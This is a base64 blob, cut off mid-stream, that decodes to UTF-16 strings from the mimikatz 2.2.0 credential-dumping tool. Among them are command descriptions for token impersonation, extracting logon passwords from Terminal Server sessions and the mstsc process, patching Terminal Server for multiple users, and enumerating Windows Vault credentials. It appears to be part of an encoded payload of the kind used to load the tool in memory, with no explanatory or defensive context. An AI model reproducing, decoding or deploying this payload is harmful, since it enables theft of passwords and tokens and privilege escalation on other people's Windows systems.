GQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZgBpAGwAdABlAHIARgByAG8AbQBBAHIAZwBzACAAOwAgAC8AcwBhAG0AIABvAHIAIAAvAHMAaQBkACAAdABvACAAdABhAHIAZwBlAHQAIAB0AGgAZQAgAGEAYwBjAG8AdQBuAHQAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAZQB4AGkAdAAAAAAAUQB1AGkAdAAgAG0AaQBtAGkAawBhAHQAegAAAGMAbABzAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYQBuAHMAdwBlAHIAAAAAAEEAbgBzAHcAZQByACAAdABvACAAdABoAGUAIABVAGwAdABpAG0AYQB0AGUAIABRAHUAZQBzAHQAaQBvAG4AIABvAGYAIABMAGkAZgBlACwAIAB0AGgAZQAgAFUAbgBpAHYAZQByAHMAZQAsACAAYQBuAGQAIABFAHYAZQByAHkAdABoAGkAbgBnAAAAYwBvAGYAZgBlAGUAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAABzAGwAZQBlAHAAAAAAAAAAUwBsAGUAZQBwACAAYQBuACAAYQBtAG8AdQBuAHQAIABvAGYAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAAAEwAbwBnACAAbQBpAG0AaQBrAGEAdAB6ACAAaQBuAHAAdQB0AC8AbwB1AHQAcAB1AHQAIAB0AG8AIABmAGkAbABlAAAAYgBhAHMAZQA2ADQAAAAAAAAAAABTAHcAaQB0AGMAaAAgAGYAaQBsAGUAIABpAG4AcAB1AHQALwBvAHUAdABwAHUAdAAgAGIAYQBzAGUANgA0AAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAABjAGQAAAAAAAAAAABDAGgAYQBuAGcAZQAgAG8AcgAgAGQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAZABpAHIAZQBjAHQAbwByAHkAAABsAG8AYwBhAGwAdABpAG0AZQAAAAAAAABEAGkAcwBwAGwAYQB5AHMAIABzAHkAcwB0AGUAbQAgAGwAbwBjAGEAbAAgAGQAYQB0AGUAIABhAG4AZAAgAHQAaQBtAGUAIAAoAE8ASgAgAGMAbwBtAG0AYQBuAGQAKQAAAAAAaABvAHMAdABuAGEAbQBlAAAAAABEAGkAcwBwAGwAYQB5AHMAIABzAHkAcwB0AGUAbQAgAGwAbwBjAGEAbAAgAGgAbwBzAHQAbgBhAG0AZQAAAAAAcwB0AGEAbgBkAGEAcgBkAAAAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAAAAAABCAGEAcwBpAGMAIABjAG8AbQBtAGEAbgBkAHMAIAAoAGQAbwBlAHMAIABuAG8AdAAgAHIAZQBxAHUAaQByAGUAIABtAG8AZAB1AGwAZQAgAG4AYQBtAGUAKQAAAEIAeQBlACEACgAAADQAMgAuAAoAAAAAAAAAAAAKACAAIAAgACAAKAAgACgACgAgACAAIAAgACAAKQAgACkACgAgACAALgBfAF8AXwBfAF8AXwAuAAoAIAAgAHwAIAAgACAAIAAgACAAfABdAAoAIAAgAFwAIAAgACAAIAAgACAALwAKACAAIAAgAGAALQAtAC0ALQAnAAoAAAAAAFMAbABlAGUAcAAgADoAIAAlAHUAIABtAHMALgAuAC4AIAAAAEUAbgBkACAAIQAKAAAAAABtAGkAbQBpAGsAYQB0AHoALgBsAG8AZwAAAAAAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGYAbwByACAAbABvAGcAZgBpAGwAZQAgADoAIAAlAHMACgAAAAAAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdABJAG4AcAB1AHQAIAAgAGkAcwAgACUAcwAKAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdABPAHUAdABwAHUAdAAgAGkAcwAgACUAcwAKAAAAAAB0AHMAcABrAGcALgBkAGwAbAAAAHcAZABpAGcAZQBzAHQALgBkAGwAbAAAAGsAZQByAGIAZQByAG8AcwAuAGQAbABsAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABkAHAAYQBwAGkAcwByAHYALgBkAGwAbAAAAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAANgA0AAAAAAA4ADYAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADIALgAwACAAKABhAHIAYwBoACAAeAA4ADYAKQAKAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAlAHUALgAlAHUAIABiAHUAaQBsAGQAIAAlAHUAIAAoAGEAcgBjAGgAIAB4ACUAcwApAAoAbQBzAHYAYwAgACUAdQAgACUAdQAKAAAAZgB1AGwAbAAAAAAAJQBzAAkAOgAgAAAAJQBoAHUALgAlAGgAdQAuACUAaAB1AC4AJQBoAHUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AdgBlAHIAcwBpAG8AbgAgADsAIABWAGUAcgBRAHUAZQByAHkAVgBhAGwAdQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAHYAZQByAHMAaQBvAG4AIAA7ACAARwBlAHQARgBpAGwAZQBWAGUAcgBzAGkAbwBuAEkAbgBmAG8ARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGMAYQBiAAAAbQBpAG0AaQBrAGEAdAB6AF8AeAA4ADYAXwBzAHkAcwBmAGkAbABlAHMAXwAlAHUAAAAAAEMAQQBCADoAIAAlAFMACgAAAAAAIAAtAD4AIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AdgBlAHIAcwBpAG8AbgAgADsAIABQAGEAdABoAEMAbwBtAGIAaQBuAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAHYAZQByAHMAaQBvAG4AIAA7ACAARwBlAHQAUwB5AHMAdABlAG0ARABpAHIAZQBjAHQAbwByAHkAKABkAGEAdABhACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwB2AGUAcgBzAGkAbwBuACAAOwAgAEcAZQB0AFMAeQBzAHQAZQBtAEQAaQByAGUAYwB0AG8AcgB5ACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEMAdQByADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AZQB3ADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABMAG8AYwBhAGwAOgAgAAAAWgBvAG4AZQAgADoAIAAlAC4AMwAyAHMACgAAAFUAVABDACAAIAA6ACAAAABMAGkAcwB0ACAALgAuAC4AAAAAAGcAZQB0AAAARwBlAHQAIAAuAC4ALgAAAHMAZQB0AAAAUwBlAHQAIAAuAC4ALgAAAGQAZQBsAAAARABlAGwAIAAuAC4ALgAAAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQBsAHUAZQAgAG0AbwBkAHUAbABlAAAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAAACkACgBMAGUAbgBnAHQAaAAgACAAIAAgACAAOgAgACUAdQAKAEQAYQB0AGEAIAAgACAAIAAgACAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AbABpAHMAdAAgADsAIABOAHQARQBuAHUAbQBlAHIAYQB0AGUAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBzAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGwAaQBzAHQAIAA7ACAATgB0AEUAbgB1AG0AZQByAGEAdABlAFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUAcwBFAHgAKABzAGkAegBlACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkAC4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAHMAaQB6AGUAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAB7AGIAMQA2AGIAMAAwAGIANQAtAGMAYQBmAGUALQBiAGEAYgBlAC0AMABlAGUAMAAtAGQAYQBiAGEAZABhAGIAYQBkADAAMAAwAH0AAAAAADQAMQAwADAAMgAwADAAMAA0AGMAMAAwADYAMQAwADAAMgAwADAAMAA1ADYAMAAwADYAOQAwADAANgA1ADAAMAAyAGMAMAAwADIAMAAwADAANAAxADAAMAAyADAAMAAwADQAYwAwADAAMgA3ADAAMAA0ADEAMAAwADYAZAAwADAANgBmADAAMAA3ADUAMAAwADcAMgAwADAAMAAwADAAMAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABOAHQAUwBlAHQAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBFAHgAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZABlAGwAIAA7ACAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAuAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAE4AdABTAGUAdABTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAATgBPAE4AXwBWAE8ATABBAFQASQBMAEUAAAAAAEIATwBPAFQAUwBFAFIAVgBJAEMARQBfAEEAQwBDAEUAUwBTAAAAAABSAFUATgBUAEkATQBFAF8AQQBDAEMARQBTAFMAAAAAAEgAQQBSAEQAVwBBAFIARQBfAEUAUgBSAE8AUgBfAFIARQBDAE8AUgBEAAAAQQBVAFQASABFAE4AVABJAEMAQQBUAEUARABfAFcAUgBJAFQARQBfAEEAQwBDAEUAUwBTAAAAAAAAAAAAVABJAE0ARQBfAEIAQQBTAEUARABfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAEQAXwBXAFIASQBUAEUAXwBBAEMAQwBFAFMAUwAAAEEAUABQAEUATgBEAF8AVwBSAEkAVABFAAAAAABLAGkAdwBpAEUAZgBpAFYAYQByAGkAYQBiAGwAZQBzAAAAAABFAGYAaQBCAG8AbwB0AFYAYQByAGkAYQBiAGwAZQBzAAAAAABFAHgAcABTAGUAYwB1AHIAZQBCAG8AbwB0AFYAZQBuAGQAbwByAAAAJQBzACAALQAgAAAAdwBoAG8AYQBtAGkAAAAAAEQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAaQBkAGUAbgB0AGkAdAB5AAAAAABMAGkAcwB0ACAAYQBsAGwAIAB0AG8AawBlAG4AcwAgAG8AZgAgAHQAaABlACAAcwB5AHMAdABlAG0AAABlAGwAZQB2AGEAdABlAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAHIAZQB2AGUAcgB0AAAAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAABUAG8AawBlAG4AIABtAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAG0AbwBkAHUAbABlAAAAIAAqACAAUAByAG8AYwBlAHMAcwAgAFQAbwBrAGUAbgAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACoAIABUAGgAcgBlAGEAZAAgAFQAbwBrAGUAbgAgACAAOgAgAAAAbgBvACAAdABvAGsAZQBuAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAdwBoAG8AYQBtAGkALgBlAHgAZQAAAAAAZABvAG0AYQBpAG4AYQBkAG0AaQBuAAAAZQBuAHQAZQByAHAAcgBpAHMAZQBhAGQAbQBpAG4AAABsAG8AYwBhAGwAcwBlAHIAdgBpAGMAZQAAAAAAbgBlAHQAdwBvAHIAawBzAGUAcgB2AGkAYwBlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAE4AbwAgAHUAcwBlAHIAbgBhAG0AZQAgAGEAdgBhAGkAbABhAGIAbABlACAAdwBoAGUAbgAgAFMAWQBTAFQARQBNAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAVABvAGsAZQBuACAASQBkACAAIAA6ACAAJQB1AAoAVQBzAGUAcgAgAG4AYQBtAGUAIAA6ACAAJQBzAAoAUwBJAEQAIABuAGEAbQBlACAAIAA6ACAAAAAAACUAcwBcACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQATgBhAG0AZQBEAG8AbQBhAGkAbgBGAHIAbwBtAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AQwByAGUAYQB0AGUAVwBlAGwAbABLAG4AbwB3AG4AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwByAGUAdgBlAHIAdAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAgACAAJQBjADoAWwAlAGMAJQBjACUAYwAlAGMAJQBjACUAYwAlAGMAXQAgAAAAJQBzAFwAAABBAG4AbwBuAHkAbQBvAHUAcwAAAEkAZABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgAAAEQAZQBsAGUAZwBhAHQAaQBvAG4AAAAAAHsAJQB4ADsAJQAwADgAeAB9ACAAAAAAAC0AIAAAAAAAJQBjACAAAAAlAC0AMQAwAHUACQAAAAAAJQBzAFwAJQBzAAkAJQBzAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAgACAAIABQADoAWwAlAGMAJQBjACUAYwAlAGMAXQAgACAAIAAgAAAAewAlAHgAOwAgACUAMAA4AHgAfQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AZABpAHMAcABsAGEAeQBBAGMAYwBvAHUAbgB0ACAAOwAgAEwAbwBvAGsAdQBwAFAAcgBpAHYAaQBsAGUAZwBlAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAACUAdQAJAAAAIAAtAD4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGUAZAAgACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAHUAbAB0AGkAcgBkAHAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAHMAZQBzAHMAaQBvAG4AcwAAAAAAbABvAGcAbwBuAHAAYQBzAHMAdwBvAHIAZABzAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIAB0AHIAeQAgAHQAbwAgAGcAZQB0ACAAcABhAHMAcwB3AG8AcgBkAHMAIABmAHIAbwBtACAAcgB1AG4AbgBpAG4AZwAgAHMAZQBzAHMAaQBvAG4AcwAAAG0AcwB0AHMAYwAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHQAcgB5ACAAdABvACAAZwBlAHQAIABwAGEAcwBzAHcAbwByAGQAcwAgAGYAcgBvAG0AIABtAHMAdABzAGMAIABwAHIAbwBjAGUAcwBzAAAAAAB0AHMAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAbQBvAGQAdQBsAGUAAAAAAFQAZQByAG0AUwBlAHIAdgBpAGMAZQAAAEEAYwB0AGkAdgBlAAAAAABDAG8AbgBuAGUAYwB0AGUAZAAAAEMAbwBuAG4AZQBjAHQAUQB1AGUAcgB5AAAAAABTAGgAYQBkAG8AdwAAAAAARABpAHMAYwBvAG4AbgBlAGMAdABlAGQAAAAAAEkAZABsAGUAAAAAAEwAaQBzAHQAZQBuAAAAAABSAGUAcwBlAHQAAABEAG8AdwBuAAAAAABJAG4AaQB0AAAAAABSAGUAbQBvAHQAZQAgAHMAZQByAHYAZQByADoAIAAlAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABzAF8AcwBlAHMAcwBpAG8AbgBzACAAOwAgAFcAaQBuAFMAdABhAHQAaQBvAG4ATwBwAGUAbgBTAGUAcgB2AGUAcgBXACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAUwBlAHMAcwBpAG8AbgA6ACAAJQBzACUAdQAgAC0AIAAlAHMACgAgACAAcwB0AGEAdABlADoAIAAlAHMAIAAoACUAdQApAAoAAAAgACAAdQBzAGUAcgAgADoAIAAlAHMAIABAACAAJQBzAAoAAAAgACAAQwBvAG4AbgAgADoAIAAAACAAIABkAGkAcwBjACAAOgAgAAAAIAAgAGwAbwBnAG8AbgA6ACAAAAAgACAAbABhAHMAdAAgADoAIAAAACAAIABjAHUAcgByACAAOgAgAAAAIAAgAGwAbwBjAGsAIAA6ACAAJQBzAAoAAAAAACAAIABhAGQAZAByADQAOgAgACUAcwAKAAAAAAAgACAAYQBkAGQAcgA2ADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AHMAXwBzAGUAcwBzAGkAbwBuAHMAIAA7ACAAVwBpAG4AUwB0AGEAdABpAG8AbgBFAG4AdQBtAGUAcgBhAHQAZQBXACAAZwBhAHYAZQAgADAAIAByAGUAcwB1AGwAdAAgACgAbQBhAHkAYgBlACAAYQBjAGMAZQBzAHMAIABwAHIAbwBiAGwAZQBtAD8AKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAcwBfAHMAZQBzAHMAaQBvAG4AcwAgADsAIABXAGkAbgBTAHQAYQB0AGkAbwBuAEUAbgB1AG0AZQByAGEAdABlAFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAcwBfAHMAZQBzAHMAaQBvAG4AcwAgADsAIABOAG8AIABzAGUAcgB2AGUAcgAgAEgAQQBOAEQATABFAAoAAAAAAEEAcwBrAGkAbgBnACAAdABvACAAYwBvAG4AbgBlAGMAdAAgAGYAcgBvAG0AIAAlAHUAIAB0AG8AIAAAAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAAAJQB1AAAAAAAKAAoAPgAgAAAAAABDAG8AbgBuAGUAYwB0AGUAZAAgAHQAbwAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAcwBfAHIAZQBtAG8AdABlACAAOwAgAEIAYQBkACAAcABhAHMAcwB3AG8AcgBkACAAZgBvAHIAIAB0AGgAaQBzACAAcwBlAHMAcwBpAG8AbgAgACgAdABhAGsAZQAgAGMAYQByAGUAIAB0AG8AIABuAG8AdAAgAGwAbwBjAGsAIAB0AGgAZQAgAGEAYwBjAG8AdQBuAHQAIQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAcwBfAHIAZQBtAG8AdABlACAAOwAgAFcAaQBuAFMAdABhAHQAaQBvAG4AQwBvAG4AbgBlAGMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AHMAXwByAGUAbQBvAHQAZQAgADsAIABBAHIAZwB1AG0AZQBuAHQAIABpAGQAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAIQAhACEAIABXAGEAcgBuAGkAbgBnADoAIABmAGEAbABzAGUAIABwAG8AcwBpAHQAaQB2AGUAcwAgAGMAYQBuACAAYgBlACAAbABpAHMAdABlAGQAIAAhACEAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AHMAXwBsAG8AZwBvAG4AcABhAHMAcwB3AG8AcgBkAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABzAF8AbABvAGcAbwBuAHAAYQBzAHMAdwBvAHIAZABzACAAOwAgAFMAZQByAHYAaQBjAGUAIABpAHMAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABzAF8AbABvAGcAbwBuAHAAYQBzAHMAdwBvAHIAZABzACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgAgACAAIABEAG8AbQBhAGkAbgAgACAAIAAgACAAIAA6ACAAJQAuACoAcwAKACAAIAAgAFUAcwBlAHIATgBhAG0AZQAgACAAIAAgADoAIAAlAC4AKgBzAAoAAAAgACAAIABQAGEAcwBzAHcAbwByAGQALwBQAGkAbgA6ACAAJQAuACoAcwAKAAAAAAAKACAAIAAgACoAIABXAGUAYgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA/ACAAKgAKAAAAIAAgACAARABvAG0AYQBpAG4AIAAgACAAIAAgACAAOgAgACUAdwBaAAoAAAAgACAAIABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAA6ACAAJQB3AFoACgAAACAAIAAgAFAAYQBzAHMAdwBvAHIAZAAvAFAAaQBuADoAIAAlAHMACgAgAAAAdgBlAHIAYgBvAHMAZQAAAG0AcwB0AHMAYwBhAHgALgBkAGwAbAAAAAoAfAAgAFAASQBEACAAJQB1AAkAJQB3AFoAIAAoAG0AbwBkAHUAbABlACAAQAAgADAAeAAlAHAAKQAKAAAAAAAAAAAAfAAgACUAcAAgAC0AIAAlAHAAIAAtACAAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACAALQAgACUAcAAgAC0AIAAlAHUAIAAtACAAJQBwACAALQAgACUAcAAgAC0AIAAlAHUACgAAAFNlcnZlck5hbWUAAFNlcnZlckZxZG4AAFNlcnZlck5hbWVVc2VkRm9yQXV0aGVudGljYXRpb24AVXNlclNwZWNpZmllZFNlcnZlck5hbWUAVXNlck5hbWUAAAAARG9tYWluAABQYXNzd29yZAAAAABTbWFydENhcmRSZWFkZXJOYW1lAFJEbWlVc2VybmFtZQAAAABQYXNzd29yZENvbnRhaW5zU0NhcmRQaW4AAAAAJQAtADQAMABTACAAIAAAAFsAIABkAHcAbwByAGQAIABdACAAJQB1ACAAKAAwAHgAJQAwADgAeAApAAAAWwAgAHcAbwByAGQAPwAgAF0AIAAlAHUAIAAoADAAeAAlADAANAB4ACkAAABUAFIAVQBFAAAAAABGAEEATABTAEUAAABbACAAYgBvAG8AbAAgACAAXQAgACUAcwAAAAAAWwB3AHMAdAByAGkAbgBnAF0AIAAAAAAAJwAlAHMAJwAAAAAAWwBwAHIAbwB0AGUAYwB0AF0AIAAAAAAAJwAlAC4AKgBzACcAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAcwBfAG0AcwB0AHMAYwBfAE0AZQBtAG8AcgB5AEEAbgBhAGwAeQBzAGkAcwBfAHAAcgBvAHAAZQByAHQAeQAgADsAIABDAHIAeQBwAHQAVQBuAHAAcgBvAHQAZQBjAHQATQBlAG0AbwByAHkAAAAAAFsAdQBuAGsAIAAtACAAJQB1AF0AIAAwAHgAJQBwAAAAAAAAAFcAaQBuAGQAbwB3AHMAIABWAGEAdQBsAHQALwBDAHIAZQBkAGUAbgB0AGkAYQBsACAAbQBvAGQAdQBsAGUAAAB2AGEAdQBsAHQAYwBsAGkAAAAAAFZhdWx0RW51bWVyYXRlSXRlbVR5cGVzAFZhdWx0RW51bWVyYXRlVmF1bHRzAAAAAFZhdWx0T3BlblZhdWx0AABWYXVsdEdldEluZm9ybWF0aW9uAF